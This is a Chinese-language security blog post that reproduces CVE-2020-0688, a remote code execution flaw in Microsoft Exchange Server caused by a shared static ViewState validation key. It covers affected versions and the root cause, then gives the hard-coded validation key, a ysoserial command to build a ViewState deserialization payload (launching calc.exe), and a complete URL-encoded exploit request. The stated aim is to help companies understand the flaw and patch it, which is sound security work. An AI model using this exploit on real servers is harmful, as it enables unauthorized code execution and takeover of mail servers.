「极速聊科技」exchange远程代码执行漏洞复现,CVE-2020-0688

近日网络公开了一个编号为CVE-2020-0688的MicrosoftExchangeServer远程代码执行漏洞 , 丁牛安全团队对该漏洞进行了模拟复现 , 分析了该漏洞成因及利用 , 希望可以帮助企业了解该漏洞的危害 , 及时修复漏洞远离黑客攻击 。
影响版本
MicrosoftExchangeServer2010ServicePack3
MicrosoftExchangeServer2013
MicrosoftExchangeServer2016
MicrosoftExchangeServer2019
漏洞原理
这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的 。
具体来说 , 与正常软件安装每次都会产生随机密钥不同 , 所有ExchangeServer在安装后的web.config文件中都拥有相同的validationKey和decryptionKey 。 这些密钥用于保证ViewState的安全性 。 而ViewState是ASP.NETWeb应用以序列化格式存储在客户机上的服务端数据 。 客户端通过__VIEWSTATE请求参数将这些数据返回给服务器 。 攻击者可以在ExchangeControlPanelweb应用上执行任意.net代码 。
当攻击者通过各种手段获得一个可以访问ExchangeControlPanel组件的用户账号密码时 。 攻击者可以在被攻击的exchange上执行任意代码 , 直接获取服务器权限 。
复现过程1、需要变量
想要利用该漏洞 , 我们需要四个参数 , 分别为:
–validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
–validationalg=SHA1
–generator=B97B4E27
–viewstateuserkey=ASP.NET_SessionId
2、获取viewstateuserkey和generator值
在正常登录后访问/ecp/default.aspx页面 。 使用F12开发者工具的Network选项 , 刷新页面重新发送请求 , 找到登录时/ecp/default.aspx的原始响应 。
在Headers选项卡找到ASP.NET_SessionId的cookie:
在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值:
如果未找到此字段不必慌张 , 直接使用默认值B97B4E27即可 。
3、使用工具生成payload
生成payload命令:
【「极速聊科技」exchange远程代码执行漏洞复现,CVE-2020-0688】ysoserial.exe-pViewState-gTextFormattingRunProperties-c"calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27"--viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug--islegacy4、构造攻击地址
在生成完payload代码后 , 需要对该代码进行URLEncode编码构造一个URL
/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=
将最开始获得的__VIEWSTATEGENERATOR值替换 , 将URLEncode编码后的payload替换 。
示例:
https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D